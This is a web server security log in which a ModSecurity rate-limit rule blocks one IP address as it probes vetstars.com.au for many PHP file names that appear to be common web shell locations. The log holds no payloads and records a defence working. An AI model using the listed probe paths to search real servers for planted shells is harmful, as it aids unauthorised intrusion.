[Sat Feb 28 21:28:22.919657 2026] [:error] [pid 39183:tid 39199] [client 4.204.200.32:56018] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaLtdhCf4HvhVePw3LZPBAAAAAc"]
[Sat Feb 28 21:28:23.407952 2026] [:error] [pid 49763:tid 49775] [client 4.204.200.32:56046] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaLtd7THSOG_yf2PpqF1UgAAAck"]
[Sat Feb 28 21:28:23.862093 2026] [:error] [pid 39183:tid 39206] [client 4.204.200.32:56004] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaLtdxCf4HvhVePw3LZPDgAAAA4"]
[Sat Feb 28 21:28:24.366922 2026] [:error] [pid 39183:tid 39208] [client 4.204.200.32:56011] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaLteBCf4HvhVePw3LZPFQAAABA"]
[Sat Feb 28 21:28:25.040072 2026] [:error] [pid 22194:tid 22207] [client 4.204.200.32:56585] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaLteX6mbajs3bzQGyun0gAAAUs"]
[Sat Feb 28 21:28:25.611830 2026] [:error] [pid 49763:tid 49771] [client 4.204.200.32:56024] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaLtebTHSOG_yf2PpqF1bAAAAcU"]
[Sat Feb 28 21:28:26.145485 2026] [:error] [pid 49763:tid 49786] [client 4.204.200.32:56022] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaLterTHSOG_yf2PpqF1cwAAAdQ"]
[Sat Feb 28 21:28:26.603221 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:56638] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaLterTHSOG_yf2PpqF1ewAAAcI"]
[Sat Feb 28 21:28:27.202191 2026] [:error] [pid 49763:tid 49786] [client 4.204.200.32:56058] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaLte7THSOG_yf2PpqF1hQAAAdQ"]
[Sat Feb 28 21:28:27.645727 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:56594] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaLte7THSOG_yf2PpqF1jgAAAcI"]
[Sat Feb 28 21:28:28.201813 2026] [:error] [pid 49763:tid 49772] [client 4.204.200.32:56037] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaLtfLTHSOG_yf2PpqF1lgAAAcY"]
[Sat Feb 28 21:28:28.643671 2026] [:error] [pid 52460:tid 52471] [client 4.204.200.32:56621] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaLtfLLWOogAgHGh62SPIwAAAYg"]
[Sat Feb 28 21:28:29.365578 2026] [:error] [pid 39184:tid 39224] [client 4.204.200.32:56637] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaLtfVtZF9Zd_U7easDHpQAAAEU"]
[Sat Feb 28 21:28:29.947102 2026] [:error] [pid 49763:tid 49772] [client 4.204.200.32:56030] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaLtfbTHSOG_yf2PpqF1ogAAAcY"]
[Sat Feb 28 21:28:30.523548 2026] [:error] [pid 22194:tid 22206] [client 4.204.200.32:65133] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaLtfn6mbajs3bzQGyun1QAAAUo"]
[Sat Feb 28 21:28:31.113296 2026] [:error] [pid 52460:tid 52484] [client 4.204.200.32:56029] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaLtf7LWOogAgHGh62SPKAAAAZU"]
[Sat Feb 28 21:28:31.727403 2026] [:error] [pid 39183:tid 39208] [client 4.204.200.32:65144] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaLtfxCf4HvhVePw3LZPSAAAABA"]
[Sat Feb 28 21:28:32.246796 2026] [:error] [pid 39292:tid 39298] [client 4.204.200.32:56602] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaLtgKIAO5fN7BxyqcGBmgAAAMQ"]
[Sat Feb 28 21:28:32.757220 2026] [:error] [pid 39292:tid 39309] [client 4.204.200.32:56624] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaLtgKIAO5fN7BxyqcGBmwAAAM8"]
[Sat Feb 28 21:28:33.261822 2026] [:error] [pid 52460:tid 52477] [client 4.204.200.32:56606] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaLtgbLWOogAgHGh62SPMwAAAY4"]
[Sat Feb 28 21:28:33.772605 2026] [:error] [pid 39184:tid 39240] [client 4.204.200.32:56605] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaLtgVtZF9Zd_U7easDHtQAAAFU"]
[Sat Feb 28 21:28:34.313464 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:56577] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaLtgrTHSOG_yf2PpqF1wAAAAcI"]
[Sat Feb 28 21:28:34.786886 2026] [:error] [pid 49763:tid 49774] [client 4.204.200.32:56619] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaLtgrTHSOG_yf2PpqF1yQAAAcg"]
[Sat Feb 28 21:28:35.354523 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:56054] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaLtg7THSOG_yf2PpqF11AAAAcI"]
[Sat Feb 28 21:28:35.869302 2026] [:error] [pid 49763:tid 49777] [client 4.204.200.32:65118] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaLtg7THSOG_yf2PpqF12wAAAcs"]
[Sat Feb 28 21:28:36.421358 2026] [:error] [pid 52460:tid 52474] [client 4.204.200.32:23753] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaLthLLWOogAgHGh62SPOAAAAYs"]
[Sat Feb 28 21:28:37.175668 2026] [:error] [pid 39183:tid 39200] [client 4.204.200.32:56041] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaLthRCf4HvhVePw3LZPXgAAAAg"]
[Sat Feb 28 21:28:37.749646 2026] [:error] [pid 39292:tid 39306] [client 4.204.200.32:56001] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaLthaIAO5fN7BxyqcGBowAAAMw"]
[Sat Feb 28 21:28:38.323326 2026] [:error] [pid 39183:tid 39201] [client 4.204.200.32:56005] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaLthhCf4HvhVePw3LZPbgAAAAk"]
[Sat Feb 28 21:28:39.097056 2026] [:error] [pid 39183:tid 39205] [client 4.204.200.32:56584] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaLthxCf4HvhVePw3LZPcwAAAA0"]
[Sat Feb 28 21:28:39.689149 2026] [:error] [pid 52460:tid 52477] [client 4.204.200.32:56016] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaLth7LWOogAgHGh62SPPwAAAY4"]
[Sat Feb 28 21:28:40.447465 2026] [:error] [pid 52460:tid 52471] [client 4.204.200.32:56587] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaLtiLLWOogAgHGh62SPQwAAAYg"]
[Sat Feb 28 21:28:41.084515 2026] [:error] [pid 39183:tid 39198] [client 4.204.200.32:56036] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaLtiRCf4HvhVePw3LZPggAAAAY"]
[Sat Feb 28 21:28:41.684897 2026] [:error] [pid 52460:tid 52480] [client 4.204.200.32:65088] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaLtibLWOogAgHGh62SPRwAAAZE"]
[Sat Feb 28 21:28:42.311269 2026] [:error] [pid 39183:tid 39197] [client 4.204.200.32:65114] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaLtihCf4HvhVePw3LZPjwAAAAU"]
[Sat Feb 28 21:28:42.883466 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:56593] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaLtirTHSOG_yf2PpqF2DgAAAcI"]
[Sat Feb 28 21:28:43.408858 2026] [:error] [pid 49763:tid 49777] [client 4.204.200.32:56590] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaLti7THSOG_yf2PpqF2EQAAAcs"]
[Sat Feb 28 21:28:43.970554 2026] [:error] [pid 52460:tid 52465] [client 4.204.200.32:56580] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaLti7LWOogAgHGh62SPVgAAAYI"]
[Sat Feb 28 21:28:44.543976 2026] [:error] [pid 11791:tid 11813] [client 4.204.200.32:23762] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "aaLtjGuX5e1Q32gqxH3JPQAAARQ"]
[Sat Feb 28 21:28:45.074041 2026] [:error] [pid 49763:tid 49766] [client 4.204.200.32:56592] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "aaLtjbTHSOG_yf2PpqF2IAAAAcA"]
[Sat Feb 28 21:28:45.533180 2026] [:error] [pid 39183:tid 39207] [client 4.204.200.32:56615] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "aaLtjRCf4HvhVePw3LZPnAAAAA8"]
[Sat Feb 28 21:28:46.085352 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:65116] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "aaLtjrTHSOG_yf2PpqF2KgAAAdI"]
[Sat Feb 28 21:28:46.834692 2026] [:error] [pid 49763:tid 49782] [client 4.204.200.32:56033] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaLtjrTHSOG_yf2PpqF2MAAAAdA"]
[Sat Feb 28 21:28:47.469956 2026] [:error] [pid 49763:tid 49780] [client 4.204.200.32:65122] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaLtj7THSOG_yf2PpqF2NQAAAc4"]
[Sat Feb 28 21:28:48.042631 2026] [:error] [pid 49763:tid 49772] [client 4.204.200.32:23754] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaLtkLTHSOG_yf2PpqF2PwAAAcY"]
[Sat Feb 28 21:28:48.565723 2026] [:error] [pid 49763:tid 49773] [client 4.204.200.32:56583] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaLtkLTHSOG_yf2PpqF2RgAAAcc"]
[Sat Feb 28 21:28:49.323812 2026] [:error] [pid 49763:tid 49779] [client 4.204.200.32:65093] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aaLtkbTHSOG_yf2PpqF2TgAAAc0"]
[Sat Feb 28 21:28:50.280840 2026] [:error] [pid 39183:tid 39199] [client 4.204.200.32:23747] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aaLtkhCf4HvhVePw3LZPrgAAAAc"]
[Sat Feb 28 21:28:51.063893 2026] [:error] [pid 11791:tid 11815] [client 4.204.200.32:65138] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aaLtk2uX5e1Q32gqxH3JPwAAARY"]
[Sat Feb 28 21:28:55.739247 2026] [:error] [pid 52460:tid 52480] [client 4.204.200.32:56601] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aaLtl7LWOogAgHGh62SPmAAAAZE"]
[Sat Feb 28 21:28:56.916839 2026] [:error] [pid 39292:tid 39318] [client 4.204.200.32:56596] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws59.php"] [unique_id "aaLtmKIAO5fN7BxyqcGBtQAAANg"]
[Sat Feb 28 21:28:57.799740 2026] [:error] [pid 39292:tid 39306] [client 4.204.200.32:56008] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws59.php"] [unique_id "aaLtmaIAO5fN7BxyqcGBtwAAAMw"]
[Sat Feb 28 21:28:58.560102 2026] [:error] [pid 52460:tid 52472] [client 4.204.200.32:23761] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws59.php"] [unique_id "aaLtmrLWOogAgHGh62SPnwAAAYk"]
[Sat Feb 28 21:28:59.296081 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:56579] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws59.php"] [unique_id "aaLtm7THSOG_yf2PpqF2hQAAAdI"]
[Sat Feb 28 21:29:00.483867 2026] [:error] [pid 39185:tid 39258] [client 4.204.200.32:23770] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaLtnBVE-FfM89u7BQakiwAAAIw"]
[Sat Feb 28 21:29:01.084670 2026] [:error] [pid 39184:tid 39236] [client 4.204.200.32:56612] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaLtnVtZF9Zd_U7easDH1AAAAFE"]
